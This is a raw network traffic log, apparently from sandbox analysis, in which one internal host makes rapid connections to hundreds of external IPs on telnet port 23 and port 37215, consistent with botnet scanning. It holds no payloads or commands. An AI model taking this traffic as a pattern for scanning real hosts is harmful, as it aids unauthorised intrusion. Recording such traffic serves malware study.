Dec 3, 2024 21:02:04.309967995 CET	23	60774	177.56.160.63	192.168.2.23
Dec 3, 2024 21:02:04.310257912 CET	23	60810	177.56.160.63	192.168.2.23
Dec 3, 2024 21:02:04.310305119 CET	60810	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:02:04.322396040 CET	23	46634	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:04.322627068 CET	23	46662	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:04.322788954 CET	46662	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:04.323059082 CET	23	34800	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:04.323236942 CET	34800	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:04.323676109 CET	34830	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:04.333439112 CET	23	56872	109.28.90.120	192.168.2.23
Dec 3, 2024 21:02:04.333488941 CET	56872	23	192.168.2.23	109.28.90.120
Dec 3, 2024 21:02:04.341264963 CET	37348	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:04.341272116 CET	42000	23	192.168.2.23	205.167.125.147
Dec 3, 2024 21:02:04.341272116 CET	55256	37215	192.168.2.23	197.68.5.1
Dec 3, 2024 21:02:04.341275930 CET	38022	37215	192.168.2.23	156.5.0.72
Dec 3, 2024 21:02:04.341274977 CET	43864	37215	192.168.2.23	156.206.187.245
Dec 3, 2024 21:02:04.341275930 CET	54742	37215	192.168.2.23	197.204.215.30
Dec 3, 2024 21:02:04.341280937 CET	59528	37215	192.168.2.23	156.116.66.124
Dec 3, 2024 21:02:04.345835924 CET	23	47306	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:04.345910072 CET	47306	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:04.346174002 CET	47334	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:04.352451086 CET	23	54138	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:04.352586031 CET	23	54342	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:04.352628946 CET	54342	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:04.353317022 CET	23	53454	72.164.249.168	192.168.2.23
Dec 3, 2024 21:02:04.353389025 CET	23	54022	72.164.249.168	192.168.2.23
Dec 3, 2024 21:02:04.353430033 CET	54022	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:02:04.353889942 CET	23	60194	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:04.354161024 CET	23	60398	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:04.354202986 CET	60398	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:04.356796980 CET	23	48294	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:04.356865883 CET	23	48326	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:04.356909037 CET	48326	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:04.365361929 CET	23	40584	133.6.185.34	192.168.2.23
Dec 3, 2024 21:02:04.365411043 CET	40584	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:02:04.370534897 CET	23	44404	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:04.370747089 CET	23	44434	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:04.370793104 CET	44434	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:04.377731085 CET	23	32814	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:04.377916098 CET	23	32844	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:04.377964020 CET	32844	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:04.393004894 CET	23	50596	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:04.393209934 CET	50596	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:04.393235922 CET	23	50394	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:04.393600941 CET	50624	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:04.394005060 CET	50394	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:04.394268036 CET	50422	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:04.424494028 CET	23	37292	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:04.424560070 CET	37292	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:04.424870968 CET	37320	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:04.429399014 CET	23	41824	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:04.429455042 CET	41824	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:04.429697990 CET	41852	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:04.430469990 CET	23	60810	177.56.160.63	192.168.2.23
Dec 3, 2024 21:02:04.430522919 CET	60810	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:02:04.430766106 CET	60838	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:02:04.443403959 CET	23	34800	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:04.443562984 CET	23	46662	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:04.443634033 CET	46662	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:04.443881989 CET	23	34830	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:04.443928957 CET	34830	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:04.443938017 CET	46690	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:04.454158068 CET	23	56872	109.28.90.120	192.168.2.23
Dec 3, 2024 21:02:04.454210043 CET	56872	23	192.168.2.23	109.28.90.120
Dec 3, 2024 21:02:04.454452038 CET	57438	23	192.168.2.23	109.28.90.120
Dec 3, 2024 21:02:04.461771011 CET	23	37348	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:04.461787939 CET	23	42000	205.167.125.147	192.168.2.23
Dec 3, 2024 21:02:04.461802959 CET	37215	38022	156.5.0.72	192.168.2.23
Dec 3, 2024 21:02:04.461822033 CET	37215	43864	156.206.187.245	192.168.2.23
Dec 3, 2024 21:02:04.461832047 CET	42000	23	192.168.2.23	205.167.125.147
Dec 3, 2024 21:02:04.461833000 CET	37215	59528	156.116.66.124	192.168.2.23
Dec 3, 2024 21:02:04.461831093 CET	37348	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:04.461843967 CET	37215	54742	197.204.215.30	192.168.2.23
Dec 3, 2024 21:02:04.461854935 CET	37215	55256	197.68.5.1	192.168.2.23
Dec 3, 2024 21:02:04.461867094 CET	38022	37215	192.168.2.23	156.5.0.72
Dec 3, 2024 21:02:04.461869955 CET	59528	37215	192.168.2.23	156.116.66.124
Dec 3, 2024 21:02:04.461880922 CET	54742	37215	192.168.2.23	197.204.215.30
Dec 3, 2024 21:02:04.461894035 CET	43864	37215	192.168.2.23	156.206.187.245
Dec 3, 2024 21:02:04.461905003 CET	55256	37215	192.168.2.23	197.68.5.1
Dec 3, 2024 21:02:04.461920023 CET	38022	37215	192.168.2.23	156.5.0.72
Dec 3, 2024 21:02:04.461932898 CET	54742	37215	192.168.2.23	197.204.215.30
Dec 3, 2024 21:02:04.461939096 CET	55256	37215	192.168.2.23	197.68.5.1
Dec 3, 2024 21:02:04.461956024 CET	59528	37215	192.168.2.23	156.116.66.124
Dec 3, 2024 21:02:04.461956978 CET	43864	37215	192.168.2.23	156.206.187.245
Dec 3, 2024 21:02:04.461990118 CET	18849	37215	192.168.2.23	156.162.96.10
Dec 3, 2024 21:02:04.461990118 CET	18849	37215	192.168.2.23	197.136.241.14
Dec 3, 2024 21:02:04.462002993 CET	18849	37215	192.168.2.23	197.51.79.232
Dec 3, 2024 21:02:04.462007046 CET	18849	37215	192.168.2.23	156.86.28.98
Dec 3, 2024 21:02:04.462008953 CET	18849	37215	192.168.2.23	41.159.247.0
Dec 3, 2024 21:02:04.462023020 CET	18849	37215	192.168.2.23	197.193.216.5
Dec 3, 2024 21:02:04.462030888 CET	18849	37215	192.168.2.23	156.37.93.23
Dec 3, 2024 21:02:04.462038040 CET	18849	37215	192.168.2.23	156.63.20.204
Dec 3, 2024 21:02:04.462042093 CET	18849	37215	192.168.2.23	41.56.168.186
Dec 3, 2024 21:02:04.462045908 CET	18849	37215	192.168.2.23	41.52.202.255
Dec 3, 2024 21:02:04.462054968 CET	18849	37215	192.168.2.23	156.125.154.37
Dec 3, 2024 21:02:04.462060928 CET	18849	37215	192.168.2.23	197.65.181.143
Dec 3, 2024 21:02:04.462064028 CET	18849	37215	192.168.2.23	197.163.221.74
Dec 3, 2024 21:02:04.462066889 CET	18849	37215	192.168.2.23	41.184.47.219
Dec 3, 2024 21:02:04.462083101 CET	18849	37215	192.168.2.23	197.186.28.223
Dec 3, 2024 21:02:04.462084055 CET	18849	37215	192.168.2.23	197.12.216.41
Dec 3, 2024 21:02:04.462090969 CET	18849	37215	192.168.2.23	197.165.241.113
Dec 3, 2024 21:02:04.462095976 CET	18849	37215	192.168.2.23	156.226.144.133
Dec 3, 2024 21:02:04.462112904 CET	18849	37215	192.168.2.23	41.223.157.193
Dec 3, 2024 21:02:04.462116957 CET	18849	37215	192.168.2.23	156.223.205.139
Dec 3, 2024 21:02:04.462122917 CET	18849	37215	192.168.2.23	156.136.171.187
Dec 3, 2024 21:02:04.462125063 CET	18849	37215	192.168.2.23	156.228.10.66
Dec 3, 2024 21:02:04.462136984 CET	18849	37215	192.168.2.23	156.101.18.56
Dec 3, 2024 21:02:04.462140083 CET	18849	37215	192.168.2.23	41.20.194.72
Dec 3, 2024 21:02:04.462145090 CET	18849	37215	192.168.2.23	41.49.243.52
Dec 3, 2024 21:02:04.462152958 CET	18849	37215	192.168.2.23	41.67.161.141
Dec 3, 2024 21:02:04.462152958 CET	18849	37215	192.168.2.23	41.24.166.182
Dec 3, 2024 21:02:04.462160110 CET	18849	37215	192.168.2.23	156.126.119.171
Dec 3, 2024 21:02:04.462162018 CET	18849	37215	192.168.2.23	156.8.149.228
Dec 3, 2024 21:02:04.462172031 CET	18849	37215	192.168.2.23	41.31.14.90
Dec 3, 2024 21:02:04.462173939 CET	18849	37215	192.168.2.23	197.96.34.25
Dec 3, 2024 21:02:04.462188959 CET	18849	37215	192.168.2.23	156.199.71.205
Dec 3, 2024 21:02:04.462192059 CET	18849	37215	192.168.2.23	156.226.62.99
Dec 3, 2024 21:02:04.462197065 CET	18849	37215	192.168.2.23	41.180.81.231
Dec 3, 2024 21:02:04.462203979 CET	18849	37215	192.168.2.23	41.27.188.175
Dec 3, 2024 21:02:04.462204933 CET	18849	37215	192.168.2.23	41.130.74.232
Dec 3, 2024 21:02:04.462220907 CET	18849	37215	192.168.2.23	197.34.153.177
Dec 3, 2024 21:02:04.462223053 CET	18849	37215	192.168.2.23	197.233.158.118
Dec 3, 2024 21:02:04.462229967 CET	18849	37215	192.168.2.23	156.98.143.138
Dec 3, 2024 21:02:04.462235928 CET	18849	37215	192.168.2.23	156.140.115.208
Dec 3, 2024 21:02:04.462244987 CET	18849	37215	192.168.2.23	197.233.80.17
Dec 3, 2024 21:02:04.462248087 CET	18849	37215	192.168.2.23	41.36.1.254
Dec 3, 2024 21:02:04.462248087 CET	18849	37215	192.168.2.23	156.203.144.57
Dec 3, 2024 21:02:04.462255955 CET	18849	37215	192.168.2.23	41.72.106.81
Dec 3, 2024 21:02:04.462258101 CET	18849	37215	192.168.2.23	41.255.179.141
Dec 3, 2024 21:02:04.462266922 CET	18849	37215	192.168.2.23	41.129.47.89
Dec 3, 2024 21:02:04.462284088 CET	18849	37215	192.168.2.23	197.114.179.105
Dec 3, 2024 21:02:04.462285042 CET	18849	37215	192.168.2.23	197.166.178.101
Dec 3, 2024 21:02:04.462297916 CET	18849	37215	192.168.2.23	156.158.119.196
Dec 3, 2024 21:02:04.462304115 CET	18849	37215	192.168.2.23	156.213.10.196
Dec 3, 2024 21:02:04.462304115 CET	18849	37215	192.168.2.23	197.16.179.45
Dec 3, 2024 21:02:04.462313890 CET	18849	37215	192.168.2.23	156.252.204.162
Dec 3, 2024 21:02:04.462325096 CET	18849	37215	192.168.2.23	156.1.234.20
Dec 3, 2024 21:02:04.462325096 CET	18849	37215	192.168.2.23	197.161.197.32
Dec 3, 2024 21:02:04.462332010 CET	18849	37215	192.168.2.23	41.212.254.61
Dec 3, 2024 21:02:04.462340117 CET	18849	37215	192.168.2.23	156.184.22.82
Dec 3, 2024 21:02:04.462346077 CET	18849	37215	192.168.2.23	197.111.13.92
Dec 3, 2024 21:02:04.462361097 CET	18849	37215	192.168.2.23	156.19.162.118
Dec 3, 2024 21:02:04.462363958 CET	18849	37215	192.168.2.23	197.109.46.92
Dec 3, 2024 21:02:04.462363958 CET	18849	37215	192.168.2.23	197.213.255.145
Dec 3, 2024 21:02:04.462371111 CET	18849	37215	192.168.2.23	156.69.189.37
Dec 3, 2024 21:02:04.462377071 CET	18849	37215	192.168.2.23	156.156.27.216
Dec 3, 2024 21:02:04.462383986 CET	18849	37215	192.168.2.23	41.210.99.47
Dec 3, 2024 21:02:04.462383986 CET	18849	37215	192.168.2.23	197.35.166.72
Dec 3, 2024 21:02:04.462402105 CET	18849	37215	192.168.2.23	41.222.135.77
Dec 3, 2024 21:02:04.462404013 CET	18849	37215	192.168.2.23	197.141.119.168
Dec 3, 2024 21:02:04.462413073 CET	18849	37215	192.168.2.23	197.58.157.228
Dec 3, 2024 21:02:04.462418079 CET	18849	37215	192.168.2.23	197.36.246.171
Dec 3, 2024 21:02:04.462424994 CET	18849	37215	192.168.2.23	41.154.26.131
Dec 3, 2024 21:02:04.462426901 CET	18849	37215	192.168.2.23	197.17.209.197
Dec 3, 2024 21:02:04.462431908 CET	18849	37215	192.168.2.23	197.14.60.135
Dec 3, 2024 21:02:04.462431908 CET	18849	37215	192.168.2.23	41.25.4.106
Dec 3, 2024 21:02:04.462450027 CET	18849	37215	192.168.2.23	41.113.222.0
Dec 3, 2024 21:02:04.462450027 CET	18849	37215	192.168.2.23	156.38.162.61
Dec 3, 2024 21:02:04.462460041 CET	18849	37215	192.168.2.23	197.106.104.39
Dec 3, 2024 21:02:04.462464094 CET	18849	37215	192.168.2.23	197.34.35.183
Dec 3, 2024 21:02:04.462470055 CET	18849	37215	192.168.2.23	156.141.40.233
Dec 3, 2024 21:02:04.462480068 CET	18849	37215	192.168.2.23	197.223.37.52
Dec 3, 2024 21:02:04.462480068 CET	18849	37215	192.168.2.23	41.12.240.86
Dec 3, 2024 21:02:04.462493896 CET	18849	37215	192.168.2.23	156.233.169.201
Dec 3, 2024 21:02:04.462493896 CET	18849	37215	192.168.2.23	197.59.208.2
Dec 3, 2024 21:02:04.462502956 CET	18849	37215	192.168.2.23	41.183.48.50
Dec 3, 2024 21:02:04.462510109 CET	18849	37215	192.168.2.23	41.188.32.211
Dec 3, 2024 21:02:04.462517977 CET	18849	37215	192.168.2.23	41.6.138.68
Dec 3, 2024 21:02:04.462517977 CET	18849	37215	192.168.2.23	197.33.210.179
Dec 3, 2024 21:02:04.462526083 CET	18849	37215	192.168.2.23	197.17.173.222
Dec 3, 2024 21:02:04.462537050 CET	18849	37215	192.168.2.23	41.237.30.137
Dec 3, 2024 21:02:04.462543011 CET	18849	37215	192.168.2.23	156.124.244.26
Dec 3, 2024 21:02:04.462543011 CET	18849	37215	192.168.2.23	41.128.157.82
Dec 3, 2024 21:02:04.462560892 CET	18849	37215	192.168.2.23	41.246.141.101
Dec 3, 2024 21:02:04.462562084 CET	18849	37215	192.168.2.23	41.19.18.19
Dec 3, 2024 21:02:04.462563038 CET	18849	37215	192.168.2.23	197.126.194.55
Dec 3, 2024 21:02:04.462568045 CET	18849	37215	192.168.2.23	197.253.121.206
Dec 3, 2024 21:02:04.462583065 CET	18849	37215	192.168.2.23	156.152.181.226
Dec 3, 2024 21:02:04.462584019 CET	18849	37215	192.168.2.23	197.76.236.10
Dec 3, 2024 21:02:04.462584972 CET	18849	37215	192.168.2.23	41.11.237.84
Dec 3, 2024 21:02:04.462600946 CET	18849	37215	192.168.2.23	41.240.250.129
Dec 3, 2024 21:02:04.462605953 CET	18849	37215	192.168.2.23	156.122.225.28
Dec 3, 2024 21:02:04.462605953 CET	18849	37215	192.168.2.23	156.6.158.230
Dec 3, 2024 21:02:04.462613106 CET	18849	37215	192.168.2.23	156.110.171.19
Dec 3, 2024 21:02:04.462621927 CET	18849	37215	192.168.2.23	41.5.127.246
Dec 3, 2024 21:02:04.462625027 CET	18849	37215	192.168.2.23	41.101.230.36
Dec 3, 2024 21:02:04.462627888 CET	18849	37215	192.168.2.23	41.193.75.197
Dec 3, 2024 21:02:04.462646961 CET	18849	37215	192.168.2.23	156.151.141.12
Dec 3, 2024 21:02:04.462646961 CET	18849	37215	192.168.2.23	197.255.79.204
Dec 3, 2024 21:02:04.462651968 CET	18849	37215	192.168.2.23	41.231.37.111
Dec 3, 2024 21:02:04.462651968 CET	18849	37215	192.168.2.23	197.142.160.47
Dec 3, 2024 21:02:04.462657928 CET	18849	37215	192.168.2.23	156.86.9.158
Dec 3, 2024 21:02:04.462675095 CET	18849	37215	192.168.2.23	41.187.229.82
Dec 3, 2024 21:02:04.462676048 CET	18849	37215	192.168.2.23	41.26.169.38
Dec 3, 2024 21:02:04.462682962 CET	18849	37215	192.168.2.23	41.181.103.226
Dec 3, 2024 21:02:04.462685108 CET	18849	37215	192.168.2.23	197.251.1.27
Dec 3, 2024 21:02:04.462698936 CET	18849	37215	192.168.2.23	197.19.88.245
Dec 3, 2024 21:02:04.462698936 CET	18849	37215	192.168.2.23	197.8.224.139
Dec 3, 2024 21:02:04.462699890 CET	18849	37215	192.168.2.23	197.122.147.216
Dec 3, 2024 21:02:04.462712049 CET	18849	37215	192.168.2.23	41.172.243.121
Dec 3, 2024 21:02:04.462713957 CET	18849	37215	192.168.2.23	156.219.204.3
Dec 3, 2024 21:02:04.462719917 CET	18849	37215	192.168.2.23	197.198.241.59
Dec 3, 2024 21:02:04.462726116 CET	18849	37215	192.168.2.23	41.175.120.26
Dec 3, 2024 21:02:04.462735891 CET	18849	37215	192.168.2.23	156.108.118.138
Dec 3, 2024 21:02:04.462742090 CET	18849	37215	192.168.2.23	156.139.52.155
Dec 3, 2024 21:02:04.462757111 CET	18849	37215	192.168.2.23	41.38.197.97
Dec 3, 2024 21:02:04.462757111 CET	18849	37215	192.168.2.23	41.233.154.128
Dec 3, 2024 21:02:04.462760925 CET	18849	37215	192.168.2.23	41.250.129.77
Dec 3, 2024 21:02:04.462760925 CET	18849	37215	192.168.2.23	41.139.103.34
Dec 3, 2024 21:02:04.462778091 CET	18849	37215	192.168.2.23	197.185.116.69
Dec 3, 2024 21:02:04.462784052 CET	18849	37215	192.168.2.23	197.138.123.89
Dec 3, 2024 21:02:04.462784052 CET	18849	37215	192.168.2.23	197.104.104.92
Dec 3, 2024 21:02:04.462793112 CET	18849	37215	192.168.2.23	197.32.187.253
Dec 3, 2024 21:02:04.462795019 CET	18849	37215	192.168.2.23	41.13.118.244
Dec 3, 2024 21:02:04.462807894 CET	18849	37215	192.168.2.23	197.129.88.159
Dec 3, 2024 21:02:04.462814093 CET	18849	37215	192.168.2.23	197.170.58.248
Dec 3, 2024 21:02:04.462816954 CET	18849	37215	192.168.2.23	41.102.118.122
Dec 3, 2024 21:02:04.462817907 CET	18849	37215	192.168.2.23	197.157.151.168
Dec 3, 2024 21:02:04.462833881 CET	18849	37215	192.168.2.23	41.20.209.150
Dec 3, 2024 21:02:04.462841034 CET	18849	37215	192.168.2.23	156.78.46.31
Dec 3, 2024 21:02:04.462843895 CET	18849	37215	192.168.2.23	41.183.235.237
Dec 3, 2024 21:02:04.462848902 CET	18849	37215	192.168.2.23	197.240.181.35
Dec 3, 2024 21:02:04.462866068 CET	18849	37215	192.168.2.23	156.11.221.142
Dec 3, 2024 21:02:04.462866068 CET	18849	37215	192.168.2.23	156.33.87.72
Dec 3, 2024 21:02:04.462876081 CET	18849	37215	192.168.2.23	197.189.192.249
Dec 3, 2024 21:02:04.462879896 CET	18849	37215	192.168.2.23	41.77.144.186
Dec 3, 2024 21:02:04.462896109 CET	18849	37215	192.168.2.23	41.190.38.202
Dec 3, 2024 21:02:04.462896109 CET	18849	37215	192.168.2.23	156.242.48.64
Dec 3, 2024 21:02:04.462901115 CET	18849	37215	192.168.2.23	197.55.136.31
Dec 3, 2024 21:02:04.462907076 CET	18849	37215	192.168.2.23	156.213.216.179
Dec 3, 2024 21:02:04.462922096 CET	18849	37215	192.168.2.23	41.169.127.65
Dec 3, 2024 21:02:04.462922096 CET	18849	37215	192.168.2.23	41.250.77.108
Dec 3, 2024 21:02:04.462929010 CET	18849	37215	192.168.2.23	41.97.135.11
Dec 3, 2024 21:02:04.462938070 CET	18849	37215	192.168.2.23	41.65.114.189
Dec 3, 2024 21:02:04.462944984 CET	18849	37215	192.168.2.23	156.94.21.195
Dec 3, 2024 21:02:04.462951899 CET	18849	37215	192.168.2.23	156.28.245.159
Dec 3, 2024 21:02:04.462963104 CET	18849	37215	192.168.2.23	156.95.139.118
Dec 3, 2024 21:02:04.462963104 CET	18849	37215	192.168.2.23	41.251.224.133
Dec 3, 2024 21:02:04.462964058 CET	18849	37215	192.168.2.23	41.37.78.100
Dec 3, 2024 21:02:04.462986946 CET	18849	37215	192.168.2.23	156.210.69.162
Dec 3, 2024 21:02:04.462987900 CET	18849	37215	192.168.2.23	197.177.137.112
Dec 3, 2024 21:02:04.462987900 CET	18849	37215	192.168.2.23	197.53.52.173
Dec 3, 2024 21:02:04.462987900 CET	18849	37215	192.168.2.23	197.232.91.219
Dec 3, 2024 21:02:04.462987900 CET	18849	37215	192.168.2.23	156.222.2.118
Dec 3, 2024 21:02:04.462994099 CET	18849	37215	192.168.2.23	197.33.117.12
Dec 3, 2024 21:02:04.462999105 CET	18849	37215	192.168.2.23	197.54.114.110
Dec 3, 2024 21:02:04.462999105 CET	18849	37215	192.168.2.23	156.165.91.175
Dec 3, 2024 21:02:04.463020086 CET	18849	37215	192.168.2.23	41.7.64.184
Dec 3, 2024 21:02:04.463021040 CET	18849	37215	192.168.2.23	197.151.155.158
Dec 3, 2024 21:02:04.463036060 CET	18849	37215	192.168.2.23	41.249.50.14
Dec 3, 2024 21:02:04.463036060 CET	18849	37215	192.168.2.23	197.252.4.21
Dec 3, 2024 21:02:04.463043928 CET	18849	37215	192.168.2.23	41.2.168.195
Dec 3, 2024 21:02:04.463056087 CET	18849	37215	192.168.2.23	197.114.209.151
Dec 3, 2024 21:02:04.463063002 CET	18849	37215	192.168.2.23	197.201.237.241
Dec 3, 2024 21:02:04.463068008 CET	18849	37215	192.168.2.23	156.183.70.101
Dec 3, 2024 21:02:04.463073015 CET	18849	37215	192.168.2.23	41.123.90.32
Dec 3, 2024 21:02:04.463078976 CET	18849	37215	192.168.2.23	41.7.137.1
Dec 3, 2024 21:02:04.463085890 CET	18849	37215	192.168.2.23	41.130.230.111
Dec 3, 2024 21:02:04.463099957 CET	18849	37215	192.168.2.23	41.237.246.70
Dec 3, 2024 21:02:04.463099957 CET	18849	37215	192.168.2.23	156.180.167.160
Dec 3, 2024 21:02:04.463103056 CET	18849	37215	192.168.2.23	197.77.172.26
Dec 3, 2024 21:02:04.463107109 CET	18849	37215	192.168.2.23	41.53.237.165
Dec 3, 2024 21:02:04.463109016 CET	18849	37215	192.168.2.23	197.248.122.230
Dec 3, 2024 21:02:04.463114023 CET	18849	37215	192.168.2.23	197.126.26.222
Dec 3, 2024 21:02:04.463128090 CET	18849	37215	192.168.2.23	197.97.248.0
Dec 3, 2024 21:02:04.463131905 CET	18849	37215	192.168.2.23	41.13.112.226
Dec 3, 2024 21:02:04.463138103 CET	18849	37215	192.168.2.23	197.91.135.153
Dec 3, 2024 21:02:04.463140965 CET	18849	37215	192.168.2.23	197.251.217.97
Dec 3, 2024 21:02:04.463143110 CET	18849	37215	192.168.2.23	41.134.181.153
Dec 3, 2024 21:02:04.463143110 CET	18849	37215	192.168.2.23	197.21.36.45
Dec 3, 2024 21:02:04.463143110 CET	18849	37215	192.168.2.23	197.255.251.97
Dec 3, 2024 21:02:04.463156939 CET	18849	37215	192.168.2.23	197.250.58.210
Dec 3, 2024 21:02:04.463165045 CET	18849	37215	192.168.2.23	156.45.28.5
Dec 3, 2024 21:02:04.463167906 CET	18849	37215	192.168.2.23	197.86.46.143
Dec 3, 2024 21:02:04.463186026 CET	18849	37215	192.168.2.23	197.162.149.247
Dec 3, 2024 21:02:04.463188887 CET	18849	37215	192.168.2.23	41.128.152.74
Dec 3, 2024 21:02:04.463201046 CET	18849	37215	192.168.2.23	41.244.17.200
Dec 3, 2024 21:02:04.463202000 CET	18849	37215	192.168.2.23	41.61.135.89
Dec 3, 2024 21:02:04.463206053 CET	18849	37215	192.168.2.23	41.153.77.92
Dec 3, 2024 21:02:04.463212013 CET	18849	37215	192.168.2.23	41.175.239.251
Dec 3, 2024 21:02:04.463223934 CET	18849	37215	192.168.2.23	156.232.160.75
Dec 3, 2024 21:02:04.463226080 CET	18849	37215	192.168.2.23	197.118.164.130
Dec 3, 2024 21:02:04.463238001 CET	18849	37215	192.168.2.23	41.90.172.71
Dec 3, 2024 21:02:04.463238001 CET	18849	37215	192.168.2.23	197.108.36.207
Dec 3, 2024 21:02:04.463251114 CET	18849	37215	192.168.2.23	197.67.159.206
Dec 3, 2024 21:02:04.463257074 CET	18849	37215	192.168.2.23	156.22.215.5
Dec 3, 2024 21:02:04.463269949 CET	18849	37215	192.168.2.23	41.31.172.171
Dec 3, 2024 21:02:04.463270903 CET	18849	37215	192.168.2.23	156.152.9.166
Dec 3, 2024 21:02:04.463274002 CET	18849	37215	192.168.2.23	156.111.173.46
Dec 3, 2024 21:02:04.463279963 CET	18849	37215	192.168.2.23	41.33.138.69
Dec 3, 2024 21:02:04.463285923 CET	18849	37215	192.168.2.23	197.146.217.116
Dec 3, 2024 21:02:04.463296890 CET	18849	37215	192.168.2.23	41.132.105.162
Dec 3, 2024 21:02:04.463301897 CET	18849	37215	192.168.2.23	41.100.155.115
Dec 3, 2024 21:02:04.463310003 CET	18849	37215	192.168.2.23	41.58.195.249
Dec 3, 2024 21:02:04.463320971 CET	18849	37215	192.168.2.23	41.231.186.72
Dec 3, 2024 21:02:04.463331938 CET	18849	37215	192.168.2.23	197.203.19.198
Dec 3, 2024 21:02:04.463331938 CET	18849	37215	192.168.2.23	41.72.248.107
Dec 3, 2024 21:02:04.463332891 CET	18849	37215	192.168.2.23	156.79.233.251
Dec 3, 2024 21:02:04.463332891 CET	18849	37215	192.168.2.23	197.109.211.191
Dec 3, 2024 21:02:04.463339090 CET	18849	37215	192.168.2.23	197.73.103.46
Dec 3, 2024 21:02:04.463345051 CET	18849	37215	192.168.2.23	41.210.158.213
Dec 3, 2024 21:02:04.463351965 CET	18849	37215	192.168.2.23	156.228.156.0
Dec 3, 2024 21:02:04.463356972 CET	18849	37215	192.168.2.23	156.196.82.54
Dec 3, 2024 21:02:04.463359118 CET	18849	37215	192.168.2.23	156.166.91.60
Dec 3, 2024 21:02:04.463368893 CET	18849	37215	192.168.2.23	197.58.147.57
Dec 3, 2024 21:02:04.463372946 CET	18849	37215	192.168.2.23	41.55.233.54
Dec 3, 2024 21:02:04.463385105 CET	18849	37215	192.168.2.23	41.20.161.10
Dec 3, 2024 21:02:04.463392973 CET	18849	37215	192.168.2.23	156.179.38.180
Dec 3, 2024 21:02:04.463397026 CET	18849	37215	192.168.2.23	156.210.157.5
Dec 3, 2024 21:02:04.463404894 CET	18849	37215	192.168.2.23	41.255.5.46
Dec 3, 2024 21:02:04.463408947 CET	18849	37215	192.168.2.23	156.77.51.25
Dec 3, 2024 21:02:04.463417053 CET	18849	37215	192.168.2.23	156.21.119.114
Dec 3, 2024 21:02:04.463417053 CET	18849	37215	192.168.2.23	197.103.0.189
Dec 3, 2024 21:02:04.463427067 CET	18849	37215	192.168.2.23	156.171.57.113
Dec 3, 2024 21:02:04.463437080 CET	18849	37215	192.168.2.23	41.88.174.43
Dec 3, 2024 21:02:04.463438034 CET	18849	37215	192.168.2.23	156.189.161.173
Dec 3, 2024 21:02:04.463440895 CET	18849	37215	192.168.2.23	197.48.122.98
Dec 3, 2024 21:02:04.463453054 CET	18849	37215	192.168.2.23	197.145.83.41
Dec 3, 2024 21:02:04.463457108 CET	18849	37215	192.168.2.23	156.64.56.237
Dec 3, 2024 21:02:04.463457108 CET	18849	37215	192.168.2.23	41.58.82.3
Dec 3, 2024 21:02:04.463470936 CET	18849	37215	192.168.2.23	41.40.34.44
Dec 3, 2024 21:02:04.463474035 CET	18849	37215	192.168.2.23	197.75.105.226
Dec 3, 2024 21:02:04.463474035 CET	18849	37215	192.168.2.23	197.43.110.189
Dec 3, 2024 21:02:04.463483095 CET	18849	37215	192.168.2.23	156.143.235.211
Dec 3, 2024 21:02:04.463484049 CET	18849	37215	192.168.2.23	197.7.86.163
Dec 3, 2024 21:02:04.463493109 CET	18849	37215	192.168.2.23	197.10.60.10
Dec 3, 2024 21:02:04.463510036 CET	18849	37215	192.168.2.23	156.116.108.32
Dec 3, 2024 21:02:04.463514090 CET	18849	37215	192.168.2.23	41.90.56.202
Dec 3, 2024 21:02:04.463514090 CET	18849	37215	192.168.2.23	156.31.192.179
Dec 3, 2024 21:02:04.463527918 CET	18849	37215	192.168.2.23	156.226.77.76
Dec 3, 2024 21:02:04.463527918 CET	18849	37215	192.168.2.23	41.46.79.93
Dec 3, 2024 21:02:04.463531971 CET	18849	37215	192.168.2.23	41.0.39.65
Dec 3, 2024 21:02:04.463538885 CET	18849	37215	192.168.2.23	197.26.69.10
Dec 3, 2024 21:02:04.463541031 CET	18849	37215	192.168.2.23	41.78.1.176
